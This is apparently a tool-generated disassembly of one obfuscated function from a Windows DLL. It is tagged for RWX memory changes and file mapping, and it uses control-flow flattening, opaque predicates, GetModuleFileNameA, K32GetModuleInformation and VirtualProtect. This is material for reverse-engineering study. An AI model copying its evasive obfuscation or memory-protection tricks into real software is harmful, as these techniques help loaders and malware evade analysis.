Function at 0x10001340
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x9c
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x1006f800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
sub edx, 0xa38fbfd7
sub edx, 1
add edx, 0xa38fbfd7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x9a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0xa0], 0x7972e87f
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa8], eax
sub eax, 0x816b1a84
je 0x100044f8
jmp 0x100013c4
mov eax, dword [ebp - 0xa8]
sub eax, 0x82d26738
je 0x100051bb
jmp 0x100013da
mov eax, dword [ebp - 0xa8]
sub eax, 0x83ef4135
je 0x10004f6d
jmp 0x100013f0
mov eax, dword [ebp - 0xa8]
sub eax, 0x85092139
je 0x10003567
jmp 0x10001406
mov eax, dword [ebp - 0xa8]
sub eax, 0x86d67708
je 0x10004a42
jmp 0x1000141c
mov eax, dword [ebp - 0xa8]
sub eax, 0x8727b495
je 0x10003138
jmp 0x10001432
mov eax, dword [ebp - 0xa8]
sub eax, 0x877f998b
je 0x10004763
jmp 0x10001448
mov eax, dword [ebp - 0xa8]
sub eax, 0x88c541fe
je 0x100027b4
jmp 0x1000145e
mov eax, dword [ebp - 0xa8]
sub eax, 0x8a210b79
je 0x10004e21
jmp 0x10001474
mov eax, dword [ebp - 0xa8]
sub eax, 0x8e23e6b1
je 0x10003802
jmp 0x1000148a
mov eax, dword [ebp - 0xa8]
sub eax, 0x8e9b16bd
je 0x1000502a
jmp 0x100014a0
mov eax, dword [ebp - 0xa8]
sub eax, 0x8eea639c
je 0x10002af1
jmp 0x100014b6
mov eax, dword [ebp - 0xa8]
sub eax, 0x8f2db7ca
je 0x10004004
jmp 0x100014cc
mov eax, dword [ebp - 0xa8]
sub eax, 0x8f67fb69
je 0x10003a72
jmp 0x100014e2
mov eax, dword [ebp - 0xa8]
sub eax, 0x8fa48db8
je 0x100036a8
jmp 0x100014f8
mov eax, dword [ebp - 0xa8]
sub eax, 0x900af45b
je 0x10003945
jmp 0x1000150e
mov eax, dword [ebp - 0xa8]
sub eax, 0x93115cb8
je 0x100037b1
jmp 0x10001524
mov eax, dword [ebp - 0xa8]
sub eax, 0x98f73cc0
je 0x10003284
jmp 0x1000153a
mov eax, dword [ebp - 0xa8]
sub eax, 0x9ae00f5f
je 0x10004d2b
jmp 0x10001550
mov eax, dword [ebp - 0xa8]
sub eax, 0x9c1473d2
je 0x10004754
jmp 0x10001566
mov eax, dword [ebp - 0xa8]
sub eax, 0x9d0fae0d
je 0x10002c94
jmp 0x1000157c
mov eax, dword [ebp - 0xa8]
sub eax, 0x9f4dd768
je 0x10004134
jmp 0x10001592
mov eax, dword [ebp - 0xa8]
sub eax, 0xa00b91bc
je 0x100050c7
jmp 0x100015a8
mov eax, dword [ebp - 0xa8]
sub eax, 0xa1b7b188
je 0x10003d25
jmp 0x100015be
mov eax, dword [ebp - 0xa8]
sub eax, 0xa232ae90
je 0x10003866
jmp 0x100015d4
mov eax, dword [ebp - 0xa8]
sub eax, 0xa238913e
je 0x100031ff
jmp 0x100015ea
mov eax, dword [ebp - 0xa8]
sub eax, 0xa2f5fed1
je 0x100042a4
jmp 0x10001600
mov eax, dword [ebp - 0xa8]
sub eax, 0xa33547ef
je 0x10004ca2
jmp 0x10001616
mov eax, dword [ebp - 0xa8]
sub eax, 0xa4821665
je 0x10004c93
jmp 0x1000162c
mov eax, dword [ebp - 0xa8]
sub eax, 0xa53103a3
je 0x10004498
jmp 0x10001642
mov eax, dword [ebp - 0xa8]
sub eax, 0xa582db12
je 0x10002e13
jmp 0x10001658
mov eax, dword [ebp - 0xa8]
sub eax, 0xa58ee150
je 0x10003507
jmp 0x1000166e
mov eax, dword [ebp - 0xa8]
sub eax, 0xa6e42e24
je 0x10003d9b
jmp 0x10001684
mov eax, dword [ebp - 0xa8]
sub eax, 0xa6f48333
je 0x10004a51
jmp 0x1000169a
mov eax, dword [ebp - 0xa8]
sub eax, 0xa7697302
je 0x10005074
jmp 0x100016b0
mov eax, dword [ebp - 0xa8]
sub eax, 0xa9d4fec3
je 0x100025de
jmp 0x100016c6
mov eax, dword [ebp - 0xa8]
sub eax, 0xaa4d74d8
je 0x10005083
jmp 0x100016dc
mov eax, dword [ebp - 0xa8]
sub eax, 0xaa6dbaf0
je 0x100031ae
jmp 0x100016f2
mov eax, dword [ebp - 0xa8]
sub eax, 0xab8c3812
je 0x10002d79
jmp 0x10001708
mov eax, dword [ebp - 0xa8]
sub eax, 0xaf7d9661
je 0x100048f1
jmp 0x1000171e
mov eax, dword [ebp - 0xa8]
sub eax, 0xb0cb5892
je 0x1000348a
jmp 0x10001734
mov eax, dword [ebp - 0xa8]
sub eax, 0xb10608b3
je 0x10003bc9
jmp 0x1000174a
mov eax, dword [ebp - 0xa8]
sub eax, 0xb12512db
je 0x100051cd
jmp 0x10001760
mov eax, dword [ebp - 0xa8]
sub eax, 0xb324fcf0
je 0x100033cb
jmp 0x10001776
mov eax, dword [ebp - 0xa8]
sub eax, 0xb3c41f69
je 0x100033b4
jmp 0x1000178c
mov eax, dword [ebp - 0xa8]
sub eax, 0xb9f944f8
je 0x10002c1e
jmp 0x100017a2
mov eax, dword [ebp - 0xa8]
sub eax, 0xbba6f9c4
je 0x1000291f
jmp 0x100017b8
mov eax, dword [ebp - 0xa8]
sub eax, 0xbbac23b3
je 0x10003275
jmp 0x100017ce
mov eax, dword [ebp - 0xa8]
sub eax, 0xbbaebd9e
je 0x10004f40
jmp 0x100017e4
mov eax, dword [ebp - 0xa8]
sub eax, 0xbcae3da5
je 0x10004921
jmp 0x100017fa
mov eax, dword [ebp - 0xa8]
sub eax, 0xbcfbbac4
je 0x10002f57
jmp 0x10001810
mov eax, dword [ebp - 0xa8]
sub eax, 0xbd01e568
je 0x10002723
jmp 0x10001826
mov eax, dword [ebp - 0xa8]
sub eax, 0xbd4424cf
je 0x10005240
jmp 0x1000183c
mov eax, dword [ebp - 0xa8]
sub eax, 0xbec8b5a9
je 0x10004185
jmp 0x10001852
mov eax, dword [ebp - 0xa8]
sub eax, 0xbed5c97e
je 0x1000282a
jmp 0x10001868
mov eax, dword [ebp - 0xa8]
sub eax, 0xbf511d1c
je 0x10005114
jmp 0x1000187e
mov eax, dword [ebp - 0xa8]
sub eax, 0xc215b0f1
je 0x10004669
jmp 0x10001894
mov eax, dword [ebp - 0xa8]
sub eax, 0xc3e8ae92
je 0x10003ec9
jmp 0x100018aa
mov eax, dword [ebp - 0xa8]
sub eax, 0xc4c7a08f
je 0x1000509a
jmp 0x100018c0
mov eax, dword [ebp - 0xa8]
sub eax, 0xc56c0dfc
je 0x10003a21
jmp 0x100018d6
mov eax, dword [ebp - 0xa8]
sub eax, 0xc5ed79b9
je 0x100052a3
jmp 0x100018ec
mov eax, dword [ebp - 0xa8]
sub eax, 0xc783eac4
je 0x10003f77
jmp 0x10001902
mov eax, dword [ebp - 0xa8]
sub eax, 0xcbbeb2aa
je 0x10004013
jmp 0x10001918
mov eax, dword [ebp - 0xa8]
sub eax, 0xcc992c17
je 0x10002d28
jmp 0x1000192e
mov eax, dword [ebp - 0xa8]
sub eax, 0xce741d30
je 0x10004549
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c95bea
mov ecx, 0x4c68cd94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov dword [ebp - 0xa0], 0x25a0fa75
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x3935f886
sub edx, 1
sub edx, 0x3935f886
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x77c4148a
mov ecx, 0xbed5c97e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0xd5816943
sub edx, 1
sub edx, 0xd5816943
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x77c4148a
mov ecx, 0x2ac74561
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x18dfec24
sub edx, 1
sub edx, 0x18dfec24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdbc217cb
mov ecx, 0xe96bfb59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
sub edx, 0x357c7040
sub edx, 1
add edx, 0x357c7040
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x741aa671
mov ecx, 0x5fff1fb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x99e7aa1f
sub edx, 1
sub edx, 0x99e7aa1f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdff8cf
mov ecx, 0x9d0fae0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dl, byte [ebp - 0x55]
mov eax, 0xdbbcaaf6
mov ecx, 0x5d6ea7f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x6484b480
sub edx, 1
sub edx, 0x6484b480
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf2bf776
mov ecx, 0xab8c3812
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x727bc3bb
sub edx, 1
sub edx, 0x727bc3bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6f48333
mov ecx, 0x3f803f0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x8eb5c1e7
sub edx, 1
sub edx, 0x8eb5c1e7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1c784f4
mov ecx, 0x50d34f4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28eed92b
mov ecx, 0x43857489
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
sub edx, 0xf61df273
sub edx, 1
add edx, 0xf61df273
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8a47cde
mov ecx, 0xaa6dbaf0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
sub edx, 0xe6e3e8b9
sub edx, 1
add edx, 0xe6e3e8b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7697302
mov ecx, 0xa238913e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x5ab0f203
sub edx, 1
sub edx, 0x5ab0f203
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7697302
mov ecx, 0xbbac23b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dword [ebp - 0xa0], 0x98f73cc0
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x348ecb25
sub edx, 1
sub edx, 0x348ecb25
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaa4d74d8
mov ecx, 0x325926f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xa0], 0xb324fcf0
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2076d00f
mov ecx, 0xe87ef89c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc4c7a08f
mov ecx, 0xa58ee150
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
sub edx, 0xb92c4bf
sub edx, 1
add edx, 0xb92c4bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2076d00f
mov ecx, 0xd582ebfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c614791
mov ecx, 0xf21c2595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa00b91bc
mov ecx, 0x120820a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
sub edx, 0xea41db00
sub edx, 1
add edx, 0xea41db00
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70c70942
mov ecx, 0x8e23e6b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov word [eax], 0
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70c70942
mov ecx, 0xa232ae90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dword [ebp - 0xa0], 0x3ed844b6
jmp 0x10005314
mov dword [ebp - 0xa0], 0x2b7c611e
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
sub edx, 0x1e9d80b8
sub edx, 1
add edx, 0x1e9d80b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e9b9fba
mov ecx, 0x8f67fb69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e9b9fba
mov ecx, 0x7d62214
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov dl, byte [ebp - 0x31]
mov eax, 0xa2f5fed1
mov ecx, 0xfe91c1e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
mov edx, ecx
add edx, 0x30adb775
sub edx, 1
sub edx, 0x30adb775
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x133ee409
mov ecx, 0xa6e42e24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x6b3ee95c
sub edx, 1
sub edx, 0x6b3ee95c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf456c318
mov ecx, 0xfb64a90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x133ee409
mov ecx, 0x3588b446
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10012260
add esp, 0xc
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x88]
mov esi, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, edi
sub esi, eax
mov eax, dword [ebp - 0x64]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov dword [ebp - 0xa0], 0x8f2db7ca
jmp 0x10005314
mov dword [ebp - 0xa0], 0xcbbeb2aa
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82d26738
mov ecx, 0x6ce6aba6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x1b619ca9
sub edx, 1
sub edx, 0x1b619ca9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ae00f5f
mov ecx, 0xbec8b5a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x9479c4d2
sub edx, 1
sub edx, 0x9479c4d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb12512db
mov ecx, 0xdc2ef0fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov ecx, dword [0x10070b48]
mov eax, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4261418d
mov ecx, 0x5412a174
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0x9cfaa204
sub edx, 1
sub edx, 0x9cfaa204
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f71b8e2
mov ecx, 0xfa1d8294
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
mov edx, eax
add edx, 0xeea7e107
sub edx, 1
sub edx, 0xeea7e107
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea976068
mov ecx, 0xce741d30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
mov eax, dword [0x10070b48]
mov ecx, dword [0x10070b44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea976068
mov ecx, 0x164f2953
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x10005314
